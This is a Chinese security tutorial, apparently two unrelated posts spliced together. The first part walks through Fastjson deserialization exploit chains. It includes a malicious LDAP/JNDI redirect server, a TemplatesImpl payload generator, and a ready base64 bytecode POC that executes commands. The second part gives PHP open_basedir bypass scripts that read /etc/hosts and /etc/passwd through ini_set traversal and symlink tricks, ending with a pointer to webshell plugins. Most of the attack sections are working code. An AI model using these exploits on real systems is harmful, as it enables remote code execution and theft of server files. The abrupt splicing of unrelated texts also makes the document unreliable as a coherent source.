InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;



/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}



/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}



protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

LDAPClient.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
public static void main(String[] args) throws Exception{
try {
Context context = new InitialContext();
context.lookup("ldap://127.0.0.1:1389/badClassName");
}
catch (NamingException e) {
e.printStackTrace();
}
}
}

恶意远程类和上面一样
图片

漏洞分析

前面的流程都是一样的,通过 TypeUtils.loadClass 方法加载Class,创建ObjectDeserializer类并调用deserialze方法,分析一下上面流程没写的部分

调用deserialze后继续往下调试,进入setDataSourceName方法,将dataSourceName值设置为目标RMI服务的地址

图片

接着调用到setAutoCommit()函数,设置autoCommit值,其中调用了connect()函数

图片

跟进connect方法

图片

这里的getDataSourceName是我们在前面setDataSourceName()方法中设置的值,是我们可控的,所以就造成了JNDI注入漏洞。

调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
connect:643, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4081, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:6, JNDIClient

TemplatesImpl利用链

漏洞原理:Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。

但是由于需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField,所以利用面很窄,但是这条利用链还是值得去学习

漏洞复现

TEMPOC.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TEMPOC extends AbstractTranslet {

public TEMPOC() throws IOException {
Runtime.getRuntime().exec("open -a Calculator");
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

}

public static void main(String[] args) throws Exception {
TEMPOC t = new TEMPOC();
}
}

这里为什么要继承AbstractTranslet类后面会说。将其编译成.class文件,通过如下方式进行base64加密以及生成payload

1
2
3
4
5
6
7
import base64

fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc

POC如下

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

漏洞分析

前面的流程是通用的,直接分析不同的部分。

进入deserialze后解析到key为_bytecodes时,调用parseField()进一步解析

跟进parseField方法,对_bytecodes对应的内容进行解析

跟进FieldDeserializer#parseField方法

解析出_bytecodes对应的内容后,会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据

继续跟进FieldDeserializer#setValue方法

这里使用了set方法来设置_bytecodes的值

接着解析到_outputProperties的内容

这里去除了_,跟进发现使用反射调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

跟进TemplatesImpl#getOutputProperties

跟进newTransformer方法

跟进getTransletInstance方法

这里通过defineTransletClasses创建了TEMPOC类并生成了实例

图片

进而执行TEMPOC类的构造方法所以就执行了任意代码,整个调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<init>:13, TEMPOC
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:7, Unser

一些问题解惑

为什么要继承AbstractTranslet类

上面说了通过defineTransletClasses创建了TEMPOC类并生成了实例

图片

如果父类名不为ABSTRACT_TRANSLET那么_transletIndex就会为0最后抛出异常

为什么需要对_bytecodes进行Base64编码

图片

跟进deserialze方法

图片

跟进parseArray方法

图片

跟进ObjectDeserializer#deserializer方法

图片

跟进byteValue方法

图片

_bytecodes的内容进行base64解码

为什么需要设置_tfactory为{}

在调用defineTransletClasses方法时,若_tfactory为null则会导致代码报错

图片

补丁分析

从1.2.25开始对这个漏洞进行了修补,修补方式是将TypeUtils.loadClass替换为checkAutoType()函数:

图片

图片
使用白名单和黑名单的方式来限制反序列化的类,只有当白名单不通过时才会进行黑名单判断,这种方法显然是不安全的,白名单似乎没有起到防护作用,后续的绕过都是不在白名单内来绕过黑名单的方式,黑名单里面禁止了一些常见的反序列化漏洞利用链

如何设置

php.ini搜索open_basedir

1
2
3
4
5
6
; open_basedir, if set, limits all file operations to the defined directory
; and below.  This directive makes most sense if used in a per-directory
; or per-virtualhost web server configuration file.
; Note: disables the realpath cache
; http://php.net/open-basedir
;open_basedir =

设置当前目录,设置一个目录,多个目录的方法

1
2
3
open_basedir .  
open_basedir /tmp/
open_basedir /usr/:/tmp/

一、仅获取目录

https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html(P神绕过open_basedir列目录的文章)

1、DirectoryIterator类 + glob://协议

利用DirectoryIterator类对象+glob://协议获取目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
print_r(ini_get('open_basedir').'<br>');
$dir_array = array();

$dir = new DirectoryIterator('glob:///*');
foreach($dir as $d){
    $dir_array[] = $d->__toString();
}

sort($dir_array);
foreach($dir_array as $d){
    echo $d.' ';
}
?>

图片

2、FilesystemIterator类 + glob://协议

FilesystemIterator继承自DirectoryIterator,在显示上有丢丢区别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
print_r(ini_get('open_basedir').'<br>');
$dir_array = array();

$dir = new FilesystemIterator('glob:///*');
foreach($dir as $d){
    $dir_array[] = $d->__toString();
}

sort($dir_array);
foreach($dir_array as $d){
    echo $d.' ';
}
show_source(__FILE__);

?>

图片

二、文件读取

1、ini_set() + 相对路径

由于open_basedir自身的问题,设置为相对路径..在解析的时候会致使自身向上跳转一层

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
show_source(__FILE__);
print_r(ini_get('open_basedir').'<br>');

mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');

echo file_get_contents('/etc/hosts');

?>

图片

原理

若open_basedir限定在当前目录,就需要新建子目录,进入设置其为..,若已经是open_basedir的子目录就不需要,因为已经限定到了当前目录。之后每次引用路径就会触发open_basedir判别,而在解析open_basedir的时候会拼接上..,从而引发open_basedir自身向上跳一级,多次进行切换目录导致目录穿越到根目录,再将open_basedir设置到根目录即可

注意

最后chdir到根目录后,设置open_basedir一定是/而不能是.,否则相对路径转换出错从而失败

2、shell命令执行

shell命令不受open_basedir的影响

图片

symlink是软连接,通过偷梁换柱的方法绕过open_basedir

当前路径是/www/wwwroot/default新建目录数量=需要上跳次数+1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
    show_source(__FILE__);
    
    mkdir("a");chdir("a");
    mkdir("b");chdir("b");
    mkdir("c");chdir("c");
    mkdir("d");chdir("d");
    
    chdir("..");chdir("..");chdir("..");chdir("..");
    
    symlink("a/b/c/d","tmplink");
    symlink("tmplink/../../../../etc/hosts","bypass");
    unlink("tmplink");
    mkdir("tmplink");
    echo file_get_contents("bypass");
?>

图片

原理

symlink会生成一个快捷方式,首先明确需要上跳三次,建四个目录,然后生成软连接symlink(“1/2/3/4”,”tmplink”),然后再生成symlink(“tmplink/../../../../etc/hosts”,”bypass”);,化简一下也就是etc/hosts,在当前目录下,因此通过了open_basedir创建成功

之后,把软连接tmplink换成文件夹tmplink,变成了/www/wwwroot/default/tmplink/../../../../etc/hosts,化简就是/etc/hosts

关键就在于软连接中相对路径的转换是不区分类型,用文件夹顶替了软连接

这里贴一个P神14年针对软链接读文件的自动化脚本(太强了),这个脚本需要我们上传上去再使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
    mkdir($paths[$i]);
    chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) { 
    chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) { 
    mkdir($name);
    chdir($name);
    $j++;
}
for ($i = 0; $i <= $j; $i++) { 
    chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');
function getRelativePath($from, $to) {
  // some compatibility fixes for Windows paths
  $from = rtrim($from, '\/') . '/';
  $from = str_replace('\\', '/', $from);
  $to   = str_replace('\\', '/', $to);

  $from   = explode('/', $from);
  $to     = explode('/', $to);
  $relPath  = $to;

  foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get number of remaining dirs to $from
      $remaining = count($from) - $depth;
      if($remaining > 1) {
        // add traversals up to first matching dir
        $padLength = (count($relPath) + $remaining - 1) * -1;
        $relPath = array_pad($relPath, $padLength, '..');
        break;
      } else {
        $relPath[0] = './' . $relPath[0];
      }
    }
  }
  return implode('/', $relPath);
}
function delfile($deldir){
    if (@is_file($deldir)) {
        @chmod($deldir,0777);
        return @unlink($deldir);
    }else if(@is_dir($deldir)){
        if(($mydir = @opendir($deldir)) == NULL) return false;
        while(false !== ($file = @readdir($mydir)))
        {
            $name = File_Str($deldir.'/'.$file);
            if(($file!='.') && ($file!='..')){delfile($name);}
        } 
        @closedir($mydir);
        @chmod($deldir,0777);
        return @rmdir($deldir) ? true : false;
    }
}
function File_Str($string)
{
    return str_replace('//','/',str_replace('\\','/',$string));
}
function getRandStr($length = 6) {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $randStr = '';
    for ($i = 0; $i < $length; $i++) {
        $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
    }
    return $randStr;
}

4、蚁剑插件绕过

懂的都懂,直接插件市场下载disable_function一把梭就行,那个能用用那个